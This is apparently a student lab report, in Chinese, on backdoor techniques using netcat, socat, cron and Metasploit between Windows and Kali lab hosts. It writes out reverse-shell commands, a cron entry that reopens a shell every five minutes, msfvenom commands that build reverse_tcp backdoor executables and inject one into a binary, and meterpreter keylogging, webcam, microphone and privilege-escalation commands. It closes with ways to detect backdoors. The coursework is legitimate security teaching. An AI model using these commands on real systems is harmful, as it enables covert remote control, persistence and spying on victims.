zoukankan      html  css  js  c++  java
  • 2019-2020 网络对抗技术 20175207 Exp2 后门原理于实践

    目录


    1 相关概念

    1.1 后门? - 后门就是不经过正常认证流程而访问系统的通道。

    1.2 哪里有后门?

    • 编译器留后门
    • 操作系统留后门
    • 应用程序中留后门(最常见)
    • 潜伏于操作系统中/伪装为特定应用的专门后门程序

    2 常用后门工具

    2.1 NC/netcat

    • 相关介绍
    • 提供以下主要功能的访问
      • 与任何端口的出站和入站连接(TCP或UDP)
      • 特色隧道模式,它还允许特殊的隧道,例如UDP到TCP,并可以指定所有网络参数(源端口/接口,侦听端口/接口和允许连接到隧道的远程主机)。
        内置端口扫描功能,带有随机发生器
      • 高级用法选项,例如缓冲的发送模式(每N秒一行)和已传输和接收的数据的十六进制转储(到stderr或到指定的文件)
      • 可选的RFC854 telnet代码解析器和响应器
    • 系统
      • Linux:一般自带netcat,"man netcat" 或"man nc"可查看其使用说明。
      • 下载ncat.rar,解压即可使用
    • Win获得Linux Shell 基于win7/kali linux
      • 获取windows主机ip地址:ipconfig/all
      • windows打开监听:ncat.exe -l -p 8888
      • Linux反弹连接windows:nc 192.168.137.133 8888 -e /bin/sh
      • windows获得一个linux shell,可运行任何指令:我们试一下ls指令
    • Linux获得Win Shell
      • 获取Linux主机ip地址:ifconfig/all
      • Linux运行监听指令:nc -l -p 8888
      • Windows反弹连接Linux:ncat.exe -e cmd.exe 192.168.137.130 8888
      • Linux下看到Windows的命令提示:我们试一下dir指令和whoami指令
    • Netcat扩展知识

    2.2 Meterpreter

    2.3 corn

    • corn机制
      • cron可以让系统在指定的时间,去执行某个指定的工作,我们可以使用crontab指令来管理cron机制
    • corntab表达式
    +---------------- minute  分钟(0 - 59)
    |  +------------- hour    小时(0 - 23)
    |  |  +---------- day     日期(1 - 31)
    |  |  |  +------- month   月份(1 - 12)
    |  |  |  |  +---- week    星期(0 - 7) (星期天=0 or 7)
    |  |  |  |  |
    *  *  *  *  *  要运行的命令
    
    • crontab命令
      • man crontab查看命令手册
    • corn使用示例
      • 创建corn任务:
        crontab -e
        任意选择一个编辑器我使用的是nano
        */1 * * * * echo "Have a break now." >> /tmp/test.txt 每隔1分钟输出Have a break now到/tmp/test.txt
      • 查看定时任务:crontab -l
      • 捕捉/tmp/test.txt
    • 参考:①cron和crontab命令详解,②Shell命令_Cron使用

    3 实验内容

    3.1 使用netcat获取主机操作Shell,cron启动 - Win 开启监听:`ncat.exe -l -p 8888` - Kali cron启动:每5分钟相应ip主机会获得一个shell ``` crontab -e */5 * * * * /bin/netcat 192.168.137.133 8888 -e /bin/sh ``` ![](https://img2020.cnblogs.com/blog/1268742/202003/1268742-20200317185659214-366611307.png) 五分钟后…… ![](https://img2020.cnblogs.com/blog/1268742/202003/1268742-20200317190128833-567980219.png)

    3.2 使用socat获取主机操作Shell,任务计划启动

    • Win创建socat任务
      • 控制面板-->管理工具-->任务计划程序-->创建任务(右侧边栏)
      • 常规:设置名称 我设置的是20175207
      • 触发器:新建(设置如下)
      • 操作:新建(设置如下)
        程序或脚本中为socat.exe的路径
        添加参数中为tcp-listen:8888 exec:cmd.exe,pty,stderr 把cmd.exe绑定到端口8888,同时把cmd.exe的stderr重定向到stdout
      • 依次确认
      • 查看20175207任务状态为准备就绪,点击运行
    • Kali 在Linux中获取cmd shell:socat - tcp:192.168.137.133:8888

    3.3 使用 MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    • Kali Linux中生成后门可执行文件
      注意:这里的ip地址为控制端ip,即kali主机的ip
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.137.130 LPORT=8888 -f exe > 20175207_backdoor.exe
    

    • 将后门文件20175207_backdoor.exe传送到Win7主机中
      • Win ncat.exe -lv 8888 > 20175207_backdoor.exe
      • Kali nc 192.168.137.133 8888 < 20175207_backdoor.exe
        注意:这里的IP地址为被控主机IP,即Win7的ip
      • 查看Win7中是否有后门文件
    • Kali 进行监听
      • 进入msf控制台:msfconsole
      • 使用监听模块,设置payload,开始监听(配置如下)
        注意:set LHOST用的是控制端ip,即Kali的ip
    • Win 运行后门程序
      提前设置后门程序可通过防火墙

    3.4 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容

    • 获取音频:recorf_mic

    • 获取摄像头:webcam_snap

    • 屏幕截图:screenshot

    • 击键记录
      • 开启键盘记录功能:keyscan_start
      • 显示捕捉到的键盘记录信息:keyscan_dump
      • 停止键盘记录功能:keyscan_stop
    • 提权:getsystem system是最高权限
    • 查看当前用户:getuid

      提权失败原因是当前用户为管理员

    3.5 使用MSF生成shellcode,注入到实践1的pwn1中,获取反弹连接Shell

    • pwn1是ELF文件,查看pwn1是多少位的:readelf -h pwn1

      Magic后第五个值是01,表明pwn1是32位的。(64位对应值02)
    • 打开MSF:msfconsole
    • 查看payload:show payloads

      我们选择linux/x86/meterpreter/reverse_tcp
    • 对应指令:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
    • 最终指令:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.137.130 LPORT=8888 -x pwn1 -f elf > pwn3
    • 将pwn3传输到被控主机
    • MSF打开监听

    • 被控主机运行pwn3_
    • 控制成功

    4 问题思考

    - 列举你能想到的一个后门进入到你系统的可能方式? - 从网络上下载的文件有后门 - 在网页进行某种操作触发后门进入系统 - 列举你知道的后门如何启动起来的方式(Win/Linux) - 后门绑定线程,某程序运行即启动 - 修改注册表,开机自启 - Metepreter有哪些给你印象深刻的功能? - 构造Shellcode - 查看进程并进行相关操作 - 远程控制桌面 - 本机监听 - 如何发现自己的系统有没有被安装后门? - 通过一些专业软件检测 - 查看是否有不明服务 - 查看是否有不明启动项 - Win 通过`netstat -an`查看计算机网络连接状态 - Win 通过`net user` `net user+用户名`查看是否有不正常的用户

    5 实验中遇到的问题

    - Win7中运行后门程序出现APPCRASH错误 - 没有找到合适的解决方法,换了win10重新操作 - Win10中创建任务后无法成功运行 ![](https://img2020.cnblogs.com/blog/1268742/202003/1268742-20200318115028172-2112465377.png) - 配置防火墙,允许socat.exe通过防火墙 - 运行任务后Kali监听不到主机 - 主机停止任务,重新运行任务
  • 相关阅读:
    HDU 2639 Bone Collector II (01背包,第k解)
    POJ 2184 Cow Exhibition 奶牛展(01背包,变形)
    hihoCoder #1165 : 益智游戏 (挑战赛11 B题)
    UVA 562 Dividing coins 分硬币(01背包,简单变形)
    POJ Charm Bracelet 挑饰品 (常规01背包)
    hiho一下 第四十四周 博弈游戏·Nim游戏(直接公式解)
    UVA 624 CD(01背包,要记录路径)
    118 Pascal's Triangle 帕斯卡三角形 杨辉三角形
    117 Populating Next Right Pointers in Each Node II 每个节点的右向指针 II
    116 Populating Next Right Pointers in Each Node 每个节点的右向指针
  • 原文地址:https://www.cnblogs.com/ln-0407/p/12510696.html
Copyright © 2011-2022 走看看